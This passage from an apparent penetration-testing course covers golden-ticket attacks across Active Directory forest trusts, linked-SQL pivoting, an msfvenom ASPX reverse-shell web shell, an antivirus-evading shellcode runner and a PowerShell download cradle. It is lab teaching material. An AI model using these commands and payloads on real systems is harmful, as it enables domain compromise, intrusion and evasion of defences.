[DC] 'corp1.com' will be the domain
[DC] 'RDC01.corp1.com' will be the DC server
[DC] 'corp1\krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 4/2/2020 6:47:04 AM
Object Security ID   : S-1-5-21-1095350385-1831131555-2412080359-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 22722f2e5074c2f03938f6ba2de5ae5c
...

Listing 68 - Obtaining krbtgt password hash

To craft the golden ticket, we also need the SID of both the source
and target domains. For this, we'll again turn to PowerView:

PS C:\tools> Get-DomainSID -domain corp1.com
S-1-5-21-1095350385-1831131555-2412080359

PS C:\tools> Get-DomainSID -domain corp2.com
S-1-5-21-4182647938-3943167060-1815963754

Listing 69 - Resolving domain SIDs

Now we have all the information we need to create the golden ticket
with the Enterprise Admins group listed as an ExtraSid:

mimikatz # kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-4182647938-3943167060-1815963754-519 /ptt

User      : h4x
Domain    : corp1.com (CORP1)
SID       : S-1-5-21-1095350385-1831131555-2412080359
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-4182647938-3943167060-1815963754-519 ;
ServiceKey: 22722f2e5074c2f03938f6ba2de5ae5c - rc4_hmac_nt
Lifetime  : 4/18/2020 7:10:48 AM ; 4/16/2030 7:10:48 AM ; 4/16/2030 7:10:48 AM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'h4x @ corp1.com' successfully submitted for current session

Listing 70 - Creating a golden ticket with ExtraSid

To verify if the golden ticket works, we'll attempt to open a remote
command prompt on dc01.corp2.com with PsExec:

C:\tools> c:\tools\SysinternalsSuite\PsExec.exe \\dc01.corp2.com cmd
...

Couldn't access dc01.corp2.com:
Access is denied.

Listing 71 - Access denied on dc01.corp2.com

Unfortunately, our golden ticket did not grant us Enterprise Admin
access in corp2.com. This is due to SID filtering.

Although the Active Directory Domains and Trusts administrative GUI
does not show it, we can actually relax the SID filtering protection.

We can use Netdom[949] on the domain controller that controls
the incoming trust to allow SID history, which eases the strict SID
filtering.

Before we go any further, let's take a moment to discuss why,
exactly, anyone would reduce the security level and potentially allow
compromise of one forest to affect another.

As an example, imagine the "corp1" corporation acquires the "corp2"
corporation. Both corporations have an existing Active Directory
infrastructure that must now be merged. One way to do this is to move
all users and services from corp2.com into corp1.com.

User accounts are relatively easy to move but servers and services can
be problematic. Because of this, it might be necessary to allow the
migrated users access to services in their old forest. SID history was
designed to address this, and during the migration period, corp2.com
would disable SID filtering.

In the real world, these kind of migrations tend to take multiple
years or may never complete, leaving the forest trust with SID history
enabled for an extended period of time.

Before continuing, let's display the attributes of the trust object so
we can see how it would change after enabling SID history:

PS C:\tools> Get-DomainTrust -Domain corp2.com

SourceName      : corp1.com
TargetName      : corp2.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 7:05:54 PM
WhenChanged     : 4/17/2020 9:38:08 PM

Listing 72 - Forest trust information with SID filtering

As we will discover, the interesting property in this output is
TrustAttributes.

To enable SID history, we'll first log in to the domain controller of
corp2.com as the Administrator user and open a command prompt.

Next, we'll use the trust subcommand of netdom
and include the source domain, the target domain and the sid history
setting (/enablesidhistory) to actually enable SID history.

C:\Users\Administrator> netdom trust corp2.com /d:corp1.com /enablesidhistory:yes
Enabling SID history for this trust.

The command completed successfully.

Listing 73 - Enable SID history in CORP2.COM

With SID history enabled, we'll again query for the trust object and
note the contents of the TrustAttributes property:

PS C:\tools> Get-DomainTrust -Domain corp2.com

SourceName      : corp2.com
TargetName      : corp1.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : TREAT_AS_EXTERNAL,FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 7:05:54 PM
WhenChanged     : 4/18/2020 2:22:10 PM

Listing 74 - Forest trust information without SID filtering

In this output, the TREAT_AS_EXTERNAL value indicates that the
forest trust is instead treated as an external trust but with the
transitivity of normal forest trust.

Now we must determine if this allows us to add ourselves into the
Enterprise Admins group of corp2.com and compromise the entire forest.

We'll regenerate our golden ticket with the same input as earlier:

mimikatz # kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-4182647938-3943167060-1815963754-519 /ptt
User      : h4x
Domain    : corp1.com (CORP1)
SID       : S-1-5-21-1095350385-1831131555-2412080359
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-4182647938-3943167060-1815963754-519 ;
...
Golden ticket for 'h4x @ corp1.com' successfully submitted for current session

Listing 75 - Regenerating the golden ticket

Now we'll use that golden ticket to attempt code execution on
dc01.corp2.com with PsExec:

C:\tools> c:\tools\SysinternalsSuite\PsExec.exe \\dc01.corp2.com cmd
...

Couldn't access dc01.corp2.com:
Access is denied.

Listing 76 - Still access denied on dc01.corp2.com

Unfortunately, we still do not have the ability to compromise the
trusted forest. While we enabled SID history, SID filtering is still
active.

Microsoft dictated that any SID with a RID less than 1000 will
always be filtered regardless of the SID history setting.[950]

However, a SID with a RID equal to or higher than 1000 is not filtered
for external trust. When we queried the trust object after enabling
SID history, we found that the forest trust is treated as an external
trust.

A non-default group will always have a RID equal to or higher than
1000. If we can find a custom group whose membership will allow us to
compromise a user or computer, we can use that as an entry point.

For example, let's enumerate members of the corp2.com built-in
Administrators group:

PS C:\tools> Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com

GroupDomain             : corp2.com
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=corp2,DC=com
MemberDomain            : corp2.com
MemberName              : powerGroup
MemberDistinguishedName : CN=powerGroup,OU=corp2Groups,DC=corp2,DC=com
MemberObjectClass       : group
MemberSID               : S-1-5-21-4182647938-3943167060-1815963754-1106

Listing 77 - Locating members of the builtin Administrators group

The powerGroup is a member of the builtin Administrators group,
which means it will grant local administrator access to the domain
controller of corp2.com. In addition, the RID (1106) is higher than
1000.

There is however another very important caveat. If the custom group
we attempt to abuse is a member a global security group[951]
like Domain Admins or Enterprise Admins, that access will also be
filtered.[952] Only group membership in domain local security
groups is not filtered.

In our current example, the built-in Administrators group is a domain
local group so we can leverage that to gain instant forest compromise.

Let's modify our golden ticket command to include the SID of
powerGroup:

mimikatz # kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-4182647938-3943167060-1815963754-1106 /ptt
User      : h4x
Domain    : corp1.com (CORP1)
SID       : S-1-5-21-1095350385-1831131555-2412080359
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-4182647938-3943167060-1815963754-1106 ;
...
Golden ticket for 'h4x @ corp1.com' successfully submitted for current session

Listing 78 - Golden ticket with superGroup in ExtraSids

With the ticket crafted and loaded into memory, we'll again attempt to
gain access to dc01.corp2.com with PsExec:

C:\tools> c:\tools\SysinternalsSuite\PsExec.exe \\dc01.corp2.com cmd
...

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
corp1\h4x

Listing 79 - Obtaining access to DC01 with PsExec

Finally. We've gained code execution inside corp2.com. Excellent!

The example used in this section is rather simple but illustrates
the point. Most often, this type of attack will not instantly lead
to domain or forest compromise, but it is often possible to locate
non-default groups with excessive DACL permissions, including prime
targets such as Security groups for Microsoft Exchange.[953]

The design of SID filtering proves that forest trust is a security
boundary that cannot be easily crossed. Even when SID history is
enabled, compromise of the trusted forest is likely, but often not
trivial.

Throughout this section, we have focused on forest trust but when SID
history is enabled, we are essentially dealing with external trust.
This means that by default, external trust can be attacked through
ExtraSids using groups with a RID equal to or higher than 1000.
External trust does not provide transitivity but if the trusted domain
is compromised, the entire forest is as well.

SID filtering is an optional setting for external trusts and is
known as SID filter quarantining.

In this section, we investigated forest trust and demonstrated how it
can be abused under certain conditions. This highlights the fact that
as penetration testers, we should always check SID filtering when in
environments that rely on forest trust.

In the following two sections, we are going to investigate two
additional techniques that can sometimes lead to compromise across
forest trust.

Exercises

  1. Enumerate the SID history setting for corp2.com.
  2. Attempt to gain code execution on dc01.corp2.com with a golden
    ticket.
  3. Enable SID history for corp2.com and enumerate its setting again.
  4. Obtain a reverse Meterpreter shell on dc01.corp2.com through the
    use of a golden ticket.
  5. Disable SID history again with netdom.

Linked SQL Servers in the Forest

In a previous module, we demonstrated how linked SQL servers can be
used to compromise additional SQL servers and if our privileges are
high enough, the operating system itself.

SQL servers themselves can also be linked across domain and even
forest trust, which creates an interesting target opportunity.

For example, a company might host a web server with an associated
SQL server in the DMZ, but some queries may require access to data
the company does not want to put directly into the DMZ. One solution
would be to configure a link from the SQL server in the DMZ to the SQL
server in the internal domain.

To demonstrate this, we'll first perform enumeration to locate any
registered SPNs for MSSQL in prod.corp1.com:

C:\tools> setspn -T prod -Q MSSQLSvc/*
Checking domain DC=prod,DC=corp1,DC=com
CN=SQLSvc,OU=prodUsers,DC=prod,DC=corp1,DC=com
        MSSQLSvc/CDC01.prod.corp1.com:SQLEXPRESS
        MSSQLSvc/cdc01.prod.corp1.com:1433

Existing SPN found!

Listing 80 - Locating MSSQL servers in PROD.CORP1.COM

The existence of this SQL server is hardly a surprise since we already
exploited it in a prior section. We can enumerate registered SPNs
across domain trust as shown in Listing 81.

C:\tools> setspn -T corp1 -Q MSSQLSvc/*
Checking domain DC=corp1,DC=com
CN=SQLSvc1,OU=corp1users,DC=corp1,DC=com
        MSSQLSvc/rdc01.corp1.com:1433

Existing SPN found!

Listing 81 - Locating MSSQL servers in CORP1.COM

This enumeration also works across forest trust and allows us to
locate SPNs in corp2.com:

C:\tools> setspn -T corp2.com -Q MSSQLSvc/*
Checking domain DC=corp2,DC=com
CN=SQLSvc2,OU=corp2users,DC=corp2,DC=com
        MSSQLSvc/dc01.corp2.com:1433

Existing SPN found!

Listing 82 - Locating MSSQL servers in CORP2.COM

We have located multiple MSSQL servers across both domains and
forests. The next step is to attempt to log in to them. We already
know that our user can perform a login to cdc01.prod.corp1.com, but
our next targets are rdc01.corp1.com and dc01.corp2.com.

First, we'll attempt to log in to rdc01.corp1.com, reusing our
existing tradecraft by updating the target server as shown in the
partial code shown below:

...
String sqlServer = "rdc01.corp1.com";
String database = "master";

String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
...

Listing 83 - Updating the target SQL server

With the code compiled, we can perform a login and print out the login
name along with member roles:

C:\tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Connected to rdc01.corp1.com
Logged in as: PROD\offsec
User is a member of public role
User is NOT a member of sysadmin role

Listing 84 - Authentication to MSSQL server on RDC01.CORP1.COM

Even though our user originates in prod.corp1.com, we can access the
database in the parent domain. As expected, we only have unprivileged
access.

Next, we'll attempt the same login to dc01.corp2.com:

C:\tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Connected to dc01.corp2.com
Logged in as: PROD\offsec
User is a member of public role
User is NOT a member of sysadmin role

Listing 85 - Authentication to MSSQL server on DC01.CORP2.COM

Once more, we obtain access to a MSSQL database, this time across the
forest trust. If the database contains any misconfigurations, this
could allow us to elevate privileges to sysadmin and compromise the
operating system itself.

Since the focus of this section is linked servers, we will use
our developed tradecraft to enumerate linked servers through the
sp_linkedservers stored procedure:

...
String execCmd = "EXEC sp_linkedservers;";

SqlCommand command = new SqlCommand(execCmd, con);
SqlDataReader reader = command.ExecuteReader();

while (reader.Read())
{
  Console.WriteLine("Linked SQL server: " + reader[0]);
}
reader.Close();
...

Listing 86 - Invoke sp_linkedservers to enumerate linked SQL servers

Once the updated code is recompiled, we'll execute it:

C:\tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Linked SQL server: CDC01.PROD.CORP1.COM
Linked SQL server: DC01.CORP2.COM
Linked SQL server: RDC01\SQLEXPRESS

Listing 87 - Linked SQL servers from RDC01.CORP1.COM

The output shows that we have found a link to the MSSQL server in
corp2.com. Now, we must determine the login context.

We'll again rely on our previously developed tradecraft:

C:\tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Executing as the login PROD\offsec on RDC01.CORP1.COM
Executing as the login sa on DC01.CORP2.COM

Listing 88 - Enumerating login context through link

By following the link, we have obtained sa login context. This
grants us code execution on the MSSQL server inside the trusted
forest. Nice!

Windows authentication to MSSQL is possible across both domain
and forest trust and provides an attack surface that may break the
security boundary. In addition, linked SQL servers provide another
potential attack vector across both domain and forest trust.

Exercises

  1. Repeat the enumeration of SPNs related to MSSQL along with the low
    privileged logins.
  2. Locate the link to dc01.corp2.com and leverage it to gain code
    execution inside corp2.com.

Extra Mile

Instead of logging in to the MSSQL server on rdc01.corp1.com, use the
MSSQL server on cdc01.corp1.com instead and leverage SQL server links
to get code execution on dc01.corp2.com.

Wrapping Up

In this module, we have delved into some of the most complex concepts
of Active Directory and investigated what they mean for us as
penetration testers.

The design of an Active Directory infrastructure can lead to avenues
of compromise that far exceed what some organizations believe
possible. A forest is only as strong as its least secure domain and
even the security boundary imposed by forest trust can be broken in
some instances.

Combining the Pieces

Throughout this course, we introduced various concepts and attack
vectors and have used both existing and custom tools to exploit those
vectors. In most of these scenarios, the exercises we completed were
isolated. However, in a real-world penetration test we will often
combine attacks and techniques, chaining them together while evading
and bypassing antivirus and other protection mechanisms.

In this module, we will walk through an attack against a network of
machines, combining various attacks and techniques in a simulated
penetration test.

Before we begin, let's reiterate some concepts as they apply to this
module.

We typically conduct a penetration test from either a completely
external position, or from an assumed-breach vantage point. In the
latter case, the penetration tester has been provided authenticated
access to at least one system on the network. This is the primary
approach we have adopted during this course.

In a hybrid grey box approach, the penetration tester has access
to limited information. An assumed breach test falls into this
category.

Since we have primarily executed assumed-breach tests in this course,
in this module we will instead perform a simulated penetration test
with no initial foothold as a starting point. Specifically, we will
not have access to any information or authentication information as we
approach the test.

We will walk through a fairly simple case study containing three
networked machines but as we will discover, attack chaining is rarely
simple. We will also use a virtual development machine for information
gathering, testing, and code development, which is common during a
penetration test.

Enumeration and Shell

In most cases, a firewall will block our access to the internal
network, blocking access to everything except publicly-available
services like web and email servers. This leaves us with two common
avenues of attack: social engineering through email or a server-side
attack.

If our client has no preference, we would perform enumeration to
determine the best approach.

In a real-world test, we will often begin enumeration with open
source intelligence gathering and exploration of publicly-available
resources.

However, we have made some simplifications for this module. The target
network only consists of three machines and we have not installed a
firewall between our Kali machine and the target machines.

In addition, we will be skipping many aspects of the often-extensive
open source reconnaissance and information gathering phases, which are
difficult to recreate in this environment.

Initial Enumeration

Let's begin with basic reconnaissance. When we scan real-world targets
with tools like network scanners and web crawlers, it's generally
considered good practice to execute them in as limited a scope as
possible to avoid overloading any systems.

Since we are only dealing with three systems (192.168.120.130-132),
we'll scan the top 1000 ports with nmap:

kali@kali:~$ sudo nmap -A -Pn 192.168.120.130-132
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 192.168.120.130
Host is up (0.12s latency).
Not shown: 987 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-24 18:11:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: evil.com0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: evil.com0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: EVIL
|   NetBIOS_Domain_Name: EVIL
|   NetBIOS_Computer_Name: DC02
|   DNS_Domain_Name: evil.com
|   DNS_Computer_Name: dc02.evil.com
...
Nmap scan report for 192.168.120.131
Host is up (0.12s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: EVIL
|   NetBIOS_Domain_Name: EVIL
|   NetBIOS_Computer_Name: FILE01
|   DNS_Domain_Name: evil.com
|   DNS_Computer_Name: file01.evil.com
...
Nmap scan report for 192.168.120.132
Host is up (0.12s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: 
|   title: \x0D
|_\x0D
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: EVIL
|   NetBIOS_Domain_Name: EVIL
|   NetBIOS_Computer_Name: WEB01
|   DNS_Domain_Name: evil.com
|   DNS_Computer_Name: web01.evil.com
...

Listing 1 - Truncated results from Nmap scan of the targets

The output shown in Listing 1 indicates that we
are dealing with a Windows environment, and specifically an Active
Directory infrastructure containing an "evil.com" domain and a DC02
host acting as the domain controller. In addition, the scan reveals
two servers named web01 and file01.

Remote Desktop is running on all three targets and although we
could brute-force them, this is not a common find during an external
penetration test. However, web01 exposes access to an IIS web server
on TCP port 80, which is a more appropriate first vector for our case
study.

Let's begin by browsing the web server.

Figure 1: Web application on port 80 of web01

As shown in Figure 1, this web application allows
file uploads. If configured incorrectly, this could provide the
initial foothold we need.

Admittedly, a web site that allows unauthenticated file uploads
is rather unrealistic. However, there are innumerable initial vectors
and the primary focus of this module is chaining attacks and putting
together the concepts we have discussed in previous modules.

Since we are targeting so few machines, we will pause our enumeration
to focus on this potential vulnerability.

Exercises

  1. Perform enumeration against the three hosts.
  2. Access the web service published by web01 and find the file upload
    application.

Gaining an Initial Foothold

Now that we've found a potential attack vector, let's attempt to
exploit it. First, we must determine the parsing engine that is used,
and the file upload location. Let's inspect the HTML code.

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

</title></head>
<body>
    <form method="post" action="./" id="form1" enctype="multipart/form-data">
<div class="aspNetHidden">
...

Listing 2 - HTML source shows use of .NET

According to the output in Listing 2, the
application is using .NET.

Let's create a dummy .NET file with the aspx extension.

<%@ Page Language="C#" %>
<script runat="server">
</script>

Listing 3 - Simple aspx file to test with

The code shown in Listing 3 specifies that we
intend to use C# inside the script tags. Since there is no code
between the tags, nothing will execute, but initially we'll simply
upload it through the web interface and attempt to access it from
the web root directory. If the file is written to the web root or a
subdirectory that does not require authentication, we can trick the
web server into executing it which, in this case, should result in a
blank page.

Let's upload the file and attempt to browse to it.

Server Error in '/' Application.
The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable.  Please review the following URL and make sure that it is spelled correctly.

Requested URL: /test.aspx

Listing 4 - Browsing to test.aspx in the web root does not work

Unfortunately, this produces a "not found" message. Let's enumerate
subfolders on the web server and attempt to invoke our code from
there. We'll use Gobuster,[954] which is faster for this
simple task than other tools such as dirb.[955]

First, we need to install Gobuster on our Kali machine:

kali@kali:~$ sudo apt install gobuster -y
...

Listing 5 - Installing Gobuster

Next, we'll execute it with the dir option to search for
directories along with the -e flag to display full URI paths.
We'll also provide the target URL (-u) and wordlist file
(-w</.pr>).

kali@kali:~$ gobuster dir -e -u http://192.168.120.132/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.120.132/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2020/06/25 02:35:20 Starting gobuster
===============================================================
http://192.168.120.132/aspnet_client (Status: 301)
http://192.168.120.132/upload (Status: 301)
===============================================================
2020/06/25 02:36:15 Finished
===============================================================

Listing 6 - Gobuster results against web01

Our enumeration only returned the custom /upload
subdirectory. When we browse to /upload/test.aspx, we receive
a blank page, likely indicating that our code is running.

The attack from here is relatively straightforward. We can simply
generate an aspx web shell with msfvenom that contains a
Meterpreter reverse shell, upload it through the application, and
browse to it under upload. This should trigger execution and
grant us a reverse shell.

kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f aspx -o /home/kali/met.aspx
...
Payload size: 691 bytes
Final size of aspx file: 4584 bytes
Saved as: /home/kali/met.aspx

Listing 7 - ASPX web shell is generated with
msfvenom

Next, we'll set up a Metasploit multi/handler, upload our shell as
met.aspx, and attempt to browse to it.

Server Error in '/Upload' Application.
Could not load file or assembly 'file:///C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\upload\4fd4a6be\2a870af3\App_Web_met.aspx.cdcab7d2.e86ytam7.dll' or one of its dependencies. Operation did not complete successfully because the file contains a virus or potentially unwanted software. (Exception from HRESULT: 0x800700E1)
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
...

Listing 8 - Antivirus has deleted the web shell

However, we don't receive a shell, and the browser displays the
error message shown in Listing 8. This clearly
indicates the presence of antivirus software that's flagging our web
shell.

Windows servers commonly run some form of antivirus, unlike most
Linux servers.

Our next step is to attempt to bypass the antivirus protection
using the skills we discussed in this course. To begin, we'll open
met.aspx in an attempt to determine why it's flagging.

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
    private static Int32 MEM_COMMIT=0x1000;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

    protected void Page_Load(object sender, EventArgs e)
    {
        byte[] vL8fwOy_ = new byte[691] { 0xfc,0x48,0x83,0xe4,0xf0,... };

        IntPtr uPR9CPj_b7 = VirtualAlloc(IntPtr.Zero,(UIntPtr)vL8fwOy_.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(vL8fwOy_,0,uPR9CPj_b7,vL8fwOy_.Length);
        IntPtr graLqi = IntPtr.Zero;
        IntPtr vn4FD0Agd = CreateThread(IntPtr.Zero,UIntPtr.Zero,uPR9CPj_b7,IntPtr.Zero,0,ref graLqi);
    }
</script>

Listing 9 - Partial contents of met.aspx

The truncated content of met.aspx matches our
previously-developed basic C# shellcode runner. As we know from
previous efforts, this code is flagged by both signature and
heuristics scans.

Fortunately, we developed an efficient bypass. We'll use a
non-emulated API and encrypt the Meterpreter shellcode with a simple
Caesar cipher.

Since we previously developed code for these techniques, we can refer
back to our previous Visual Studio projects and quickly incorporate
them into this web shell.

First, we'll copy the DllImport statements needed for
VirtualAllocExNuma and GetCurrentProcess along with the code to
call VirtualAllocExNuma and parse its return value:

...
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

[System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();

protected void Page_Load(object sender, EventArgs e)
{
    IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
    if(mem == null)
    {
        return;
    }
...

Listing 10 - Code to bypass heuristics detection

Since the web shell does not import the
System.Runtime.InteropServices namespace at a global level, we'll
include it in each import statement.

Now we'll use our previously-developed code to encrypt the shellcode
and arbitrarily use "5" as the Caesar cipher key.

byte[] buf = new byte[691] { 0xfc,0x48,0x83,0xe4,0xf0,... };

byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
    encoded[i] = (byte)(((uint)buf[i] + 5) & 0xFF);
}

StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
    hex.AppendFormat("0x{0:x2}, ", b);
}

Console.WriteLine("The payload is: " + hex.ToString());

Listing 11 - C# code to encrypt the shellcode

Now we can execute the encryption code and copy the encrypted
shellcode into the web shell. We'll also add the corresponding
decrypting routine as shown in Listing 12.

...
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
    return;
}

byte[] vL8fwOy_ = new byte[691] { 0x01, 0x4d, 0x88, ... };


for(int i = 0; i < vL8fwOy_.Length; i++)
{
    vL8fwOy_[i] = (byte)(((uint)vL8fwOy_[i] - 5) & 0xFF);
}

IntPtr uPR9CPj_b7 = VirtualAlloc(IntPtr.Zero,(UIntPtr)vL8fwOy_.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(vL8fwOy_,0,uPR9CPj_b7,vL8fwOy_.Length);
IntPtr graLqi = IntPtr.Zero;
IntPtr vE3FMd = CreateThread(IntPtr.Zero,UIntPtr.Zero,uPR9CPj_b7,IntPtr.Zero,0,ref graLqi);
...

Listing 12 - Decrypting routine is inserted into the code

With all the antivirus bypass code implemented in the web shell, we
can upload it through the web form and execute it.

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.132; (UUID: ftkiispt) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.132:50098)

meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool

meterpreter > sysinfo
Computer        : WEB01
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : EVIL
Logged On Users : 7
Meterpreter     : x64/windows

Listing 13 - Reverse Meterpreter shell

This successfully bypasses the AV and yields us a reverse shell. From
the output of the getuid and sysinfo commands, we
find that the shell executed in the context of the default IIS service
account (DefaultAppPool) on the WEB01 host in the EVIL domain.

Exercises

  1. Perform enumeration to detect the upload folder.
  2. Attempt to use a generic web shell with a Meterpreter payload to
    obtain a reverse shell.
  3. Use the AV bypass techniques to evade detection.

Post Exploitation Enumeration

Now that we have obtained a reverse shell, we'll perform some
post exploitation enumeration, both to get an idea of which attack
paths are possible from here, but also to figure out which security
mitigations we are up against.

The output from our previous sysinfo command (in Listing
13) reveals that the OS version is reported as
"Windows 2016+", but the build number of 17763 tells the full story.
Windows Server 2016 and 2019 both build on the Windows 10 codebase and
there have been numerous releases.[956] In essence, the build
number 17763 equates to Windows 10 version 1809 or Windows Server
2019.

Armed with this information, we can attempt privilege escalation, but
first we have to make some quality-of-life improvements since this
shell is not ideal.

The primary issue here is that our initial Meterpreter shell is based
on the aspx web shell, which means our shell will die if the web
worker process times out. We can solve this by migrating our shell to
a different process.

Normally, we could migrate to a process like explorer.exe, but since
the IIS service account uses a non-interactive logon, the explorer.exe
process does not exist in this context.

In fact, the only process running as the DefaultAppPool user is the
web worker. To solve this, we can create a hidden instance of Notepad
and migrate into it:

meterpreter > execute -H -f notepad
Process 620 created.

meterpreter > migrate 620
[*] Migrating from 508 to 620...
[*] Migration completed successfully.

Listing 14 - Migrating into notepad

With this more stable shell, we can start our post-exploitation
enumeration. We already know that antivirus is present on this
machine, but we would like to determine which product is in place
in order to simplify our bypass attempt. We also need to know if the
antivirus supports AMSI.

We can use the PowerShell HostRecon[957] script to detect
a multitude of host-based settings and information. Since this is a
PowerShell script, we'll use Meterpreter's shell to open a
command prompt, which we can convert to PowerShell.

Next, we'll download the HostRecon.ps1 PowerShell script from
our Kali web server and load it into memory with a download cradle:

meterpreter > shell
Process 3000 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv> powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv> (new-object system.net.webclient).downloadstring('http://192.168.119.120/HostRecon.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.119.120/HostRecon.ps1') | IEX

Listing 15 - Downloading and loading HostRecon.ps1

We automatically bypass the PowerShell execution policy with
the Invoke-Expression (IEX) cmdlet and execute the
